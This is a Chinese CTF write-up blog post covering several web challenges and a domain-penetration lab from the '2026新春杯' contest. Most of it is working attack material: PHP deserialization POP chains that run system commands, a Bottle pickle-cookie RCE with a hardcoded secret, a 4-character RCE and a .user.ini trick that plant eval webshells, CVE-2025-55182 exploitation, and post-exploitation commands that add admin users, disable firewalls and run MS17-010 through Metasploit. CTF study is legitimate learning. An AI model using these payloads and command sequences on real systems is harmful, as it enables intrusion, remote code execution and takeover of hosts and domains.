2026新春杯

本文最后更新于 2026年3月5日 下午

够了够了,谢谢大家

一开始是手搓的,复现的时候补了一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://175.27.251.122:34925/"

for i in range(1, 101):

s = requests.Session()

s.post(f"{url}/register.php", data={'username': f"user{i}",'password': "123"})
s.post(f"{url}/login.php", data={'username': f"user{i}",'password': "123"})
s.post(f"{url}/weechatt.php", data={'like': ''})
print(f"[*]第{i}次点赞成功")

Snipaste_2026-02-07_11-54-44

让人变幸运的魔法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
highlight_file(__FILE__);
error_reporting(0);

function magic($param) {

$unlucky_list = ['unlucky', 'bad', 'jinx', 'unfortunate'];
foreach ($unlucky_list as $unlucky) {
$param = str_replace($unlucky, 'lucky', $param);
}
return $param;
}

class Frieren{
public $spell;
public $target = 'Nobody';

public function __construct($spell){
$this -> spell = $spell;
}

public function __wakeup(){
if ($this -> target !== 'Nobody'){
echo "成功让".$this -> target."变得幸运!";
}
}
}

class Himmel{
public $sword = "Himmel's sword";
public $action;
public function __toString(){
if ($this -> action === 'try' && $this -> sword !== "Sword of the Hero"){
echo "'这次的勇者也不是真正的勇者啊...'".PHP_EOL;
echo "'假勇者又有何妨,我会消灭魔王,让世界恢复和平。'".PHP_EOL;
$func = $this -> sword;
$func();
}else{
return "真正的勇者?";
}
}
}

class Fern{
public $book;

public function __invoke(){
$this -> book -> abliity;
}
}

class Stark{
private $ability;
public function __get($name){
eval($this -> ability);
}
}

$spell = $_POST['spell'];
if (isset($spell)){
$data = serialize(new Frieren($spell));
$magic_data = magic($data);
unserialize($magic_data);
}

先分析一下链子

1
Frieren -> Himmel -> Fern -> Stark

这里我们发现它在下面已经帮我们构建了Frieren,但$target并不是我们想要的,所以要利用上面的魔法进行字符串逃逸

1
O:7:"Frieren":2:{s:5:"spell";s:4:"test";s:6:"target";s:6:"Nobody";}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Stark {
private $ability = "system('cat /flag');"; // 想要执行的命令
}

class Fern {
public $book;
}

class Himmel {
public $sword;
public $action = 'try';
}

class Frieren {
public $spell;
public $target;
}

$s = new Stark();
$fe = new Fern();
$fe->book = $s;
$h = new Himmel();
$h->sword = $fe;

$f = new Frieren("");
$f->target = $h;

$tail = serialize($f);

echo "希望:".$tail."\n";
$injection = '";s:6:"target";' . serialize($h) . '}';
echo "注入代码长度: " . strlen($injection) . "\n";
echo "url: " . urlencode($injection) . "\n";

bad会被替换为lucky,每有一个bad就会逃出2个字符,payload长度是160,所以要在前面加80个bad

image-20260209002211888

pttole

审计代码发现:

  • bottle框架
  • config.py里面有secret和用户密码
  • dashboard.py里面解析cookie可能存在pickle反序列化

先伪造一个用户试试

1
2
3
4
5
6
7
8
import bottle

SECRET = "h3ckTheworld123"
SESSION_DATA = ("name", {"name": "admin"})

encoded_value = bottle.cookie_encode(SESSION_DATA, SECRET)

print(encoded_value.decode())

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import bottle

SECRET = "h3ckTheworld123"
COOKIE_NAME = "name"

class Exploit:
def __reduce__(self):
code = "int(open('/flag').read())"

#code = "exec(\"raise Exception(open('/flag').read())\")"

return (eval, (code,))

payload = (COOKIE_NAME, Exploit())
encoded_value = bottle.cookie_encode(payload, SECRET)

print(encoded_value.decode())

image-20260209003551781

正解

上面那个是我照着Gemini瞎写的,后来读到了Acc1oFl4g师哥的博客,学习了一下正规解法

快速理解bottle模板的set_cookie和get_cookie的原理,利用get_cookie伪造cookie进行pickle反序列化执行命令_ctf bottle-CSDN博客

1
2
3
4
5
6
7
8
9
10
from bottle import Bottle, request, response,run, route

class cmd():
def __reduce__(self):
return (exec,("__import__('os').popen('cat /f*').read()",))

c = cmd()
#session = {"name":c}
response.set_cookie("name",c,secret="h3ckTheworld123")
print(response._cookies)

ez_uns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
class Acc1oFl4g
{
public $shql;
public $tou;
public function exec()
{
if (strpos($this->tou, 'S:') === false) {
$gxn = serialize(unserialize($this->tou));
$gxngxngxn = unserialize($gxn);
if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) {
include($gxngxngxn->act());
}
} else {
throw new Exception("不会本地调试怕是写不出来了");
}
}
public function __destruct()
{
if ($this->shql == "admin") {
$this->exec();
}
}
}

class Amoda
{
protected $q1;
protected $q2;

public function act()
{
if (!is_string($this->q1) || !is_string($this->q2)) {
throw new Exception("不会本地调试怕是写不出来了");
}
$result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2;
if (strpos($result, 'convert') !== false) {
throw new Exception("不会本地调试怕是写不出来了");
}
return $result;

}
}

$web = $_POST["webweb"];
if (stripos($web, 'admin') !== false && stripos($web, 'Amoda":') == false) {

exit ("不会本地调试怕是写不出来了");
}

$webb = unserialize($web);
throw new Exception("不会本地调试怕是写不出来了");

这个题逻辑还是比较清晰的,主要就是几个WAF的绕过

1
2
3
4
5
6
if (strpos($this->tou, 'S:') === false) {
$gxn = serialize(unserialize($this->tou));
$gxngxngxn = unserialize($gxn);
if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) {
include($gxngxngxn->act());
}

首先就是这里,反序列化再序列化最后内容要不一样,开头就把S:给禁了,编码绕过肯定不行,一开始想用+绕过,调试了一下不行,那就直接在序列化后的内容后面加两个空格

1
2
3
4
5
6
7
8
if (!is_string($this->q1) || !is_string($this->q2)) {
throw new Exception("不会本地调试怕是写不出来了");
}
$result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2;
if (strpos($result, 'convert') !== false) {
throw new Exception("不会本地调试怕是写不出来了");
}
return $result;

命令执行这里在q1、q2中间加了讨厌的中文,还把filter链的convert给ban了

考虑到最后是执行include命令,那就构建一条相对路径 /不会本地调试怕是写不出来了/../flag

最后有一个异常抛出,要用gc回收机制绕过,让__destruct提前触发

这里需要注意在php里面完成url编码,因为protected变量序列化后会带有不可见字符

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Acc1oFl4g {
public $shql = "admin";
public $tou;
}

class Amoda {
protected $q1 = "/";
protected $q2 = "/../flag";
}

$amo = new Amoda();
$ser_amo = serialize($amo);

$ser_amo .=" ";//绕过gxn

$acc = new Acc1oFl4g();
$acc->tou = $ser_amo;

$b=array('a'=>$acc,'b'=>null);

$payload = serialize($b);
$payload = str_replace('b', 'a', $payload);
//echo $payload;
echo urlencode($payload);

image-20260209005432545

失语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
highlight_file(__FILE__);

if(!isset($_SESSION['sandbox'])){
$_SESSION['sandbox'] = bin2hex(random_bytes(8));
}

$sandbox = $_SESSION['sandbox'];

if(!is_dir($sandbox)){
mkdir($sandbox);
}

chdir($sandbox);

echo "Sandbox: ".getcwd();

if(isset($_REQUEST['Mutsumi']) && strlen($_REQUEST['Mutsumi']) <= 4){
exec($_REQUEST['Mutsumi']);
}
?>

经典的4字符RCE

这里参考了一下 RCE总结

主要就是利用Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数的特性拼接命令,写入木马

1
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>a.php

这里需要注意的是,本题开启了沙箱,所以使用python脚本必须保证在一个session会话里面,或者直接使用bp的爆破工具

这里我选择了后者,稍微修改了一下payload,注意更改bp的资源池最大并发请求数为1才会按照顺序请求

image-20260209011726054

image-20260209011440440

Acc’s Blog

审计代码发现image-20260209011950524

在publish.php里面留了后门,但是进行了严格的过滤

抓包了一下发现是nginx,所以只能用.user.ini

根据提示,利用.user.ini时区配置报错写入木马

1
2
3
4
log_errors = 1
display_errors = 0
error_log = ./shell.php
date.timezone = "<?php @eval($_POST['pass']);?>"

这样传上去并访问shell.php发现并不能解析php代码,猜测是进行了HTML转义,所以要在配置里面禁止一下

1
2
3
4
log_errors = On
html_errors = Off
error_log = ./shell.php
date.timezone = "<?php @eval($_POST['pass']);?>"

image-20260209012726229

Arknights_solver

这次真是吃了不知道Next.js的亏了,不然至少这道题和域渗透1都能拿下

image-20260302152126111

查看源码确定是有漏洞的版本

漏洞复现:React Next.js 远程命令执行漏洞(CVE-2025-55182 CVE-2025-66478)复现 - FreeBuf网络安全行业门户

image-20260302152240550

域渗透

通过这个题入门一下域渗透

内网渗透之初识域渗透 - 只言 - 博客园

那么下面看一下这三台机器的结构

image-20260302180227188

结合虚拟网卡配置我们不难发现内网是192.168.50.0,外网是192.168.80.0,我们把kali也改成NAT模式这样kali也能访问的外网机器

打开http://192.168.80.121:3000/ 发现又是Next.js框架,所以先打CVE拿到外网机器管理员权限

可以用上面的方法,也可以用zzhorc/CVE-2025-55182: CVE-2025-55182复现环境及RCE回显poc

image-20260302185259994

下面我们获得管理员权限

新建用户suny

1
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net user suny 123 /add"

将suny加入管理员组

1
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net localgroupAdministrators suny /add"

开启远程桌面

1
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "wmic rdtoggle where AllowTSConnections=0 call SetAllowTSConnections 1"

关闭防火墙

1
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "netsh advfirewall set allprofiles state off"

重启主机

1
python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "shutdown /r /t 0"

下面上rdp远程连接桌面

image-20260302190721822

成功拿下外网机器管理员权限

传一个fscan上去扫端口

image-20260302190929364

域成员机可以直接打永恒之蓝

上stowaway代理让kali可以访问到内网

image-20260302191305629

1
2
./linux_x64_admin -l 1234 -s 123
windows_x64_agent.exe -c 192.168.80.128:1234 -s 123 --reconnect 8

连接成功,我们开启socks5代理

image-20260302191443159

改⼀下proxychains的配置

image-20260302191527874

直接上MSF

image-20260302192039552

1
2
3
4
5
6
7
proxychains msfconsole
search MS17-010
use 0
set rhost 192.168.50.12
show payloads
set payload windows/x64/meterpreter/bind_tcp
run

image-20260302191850818

拿下域管理密码和哈希

直接登录Windows server2008

image-20260302203259474


2026新春杯
https://www.sunynov.top/2026/02/08/2026新春杯/
作者
suny
发布于
2026年2月8日
许可协议